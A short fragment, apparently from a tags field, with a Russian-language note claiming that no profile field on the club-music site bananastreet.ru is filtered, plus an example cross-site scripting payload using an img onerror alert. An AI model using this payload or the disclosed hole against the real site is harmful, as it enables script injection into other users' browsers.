Separate names with a comma.
сайт клубной музыки bananastreet.ru ни одно поле не фильтруется в профиле код <img src=f onerror=alert('XSSNAME') /> пример
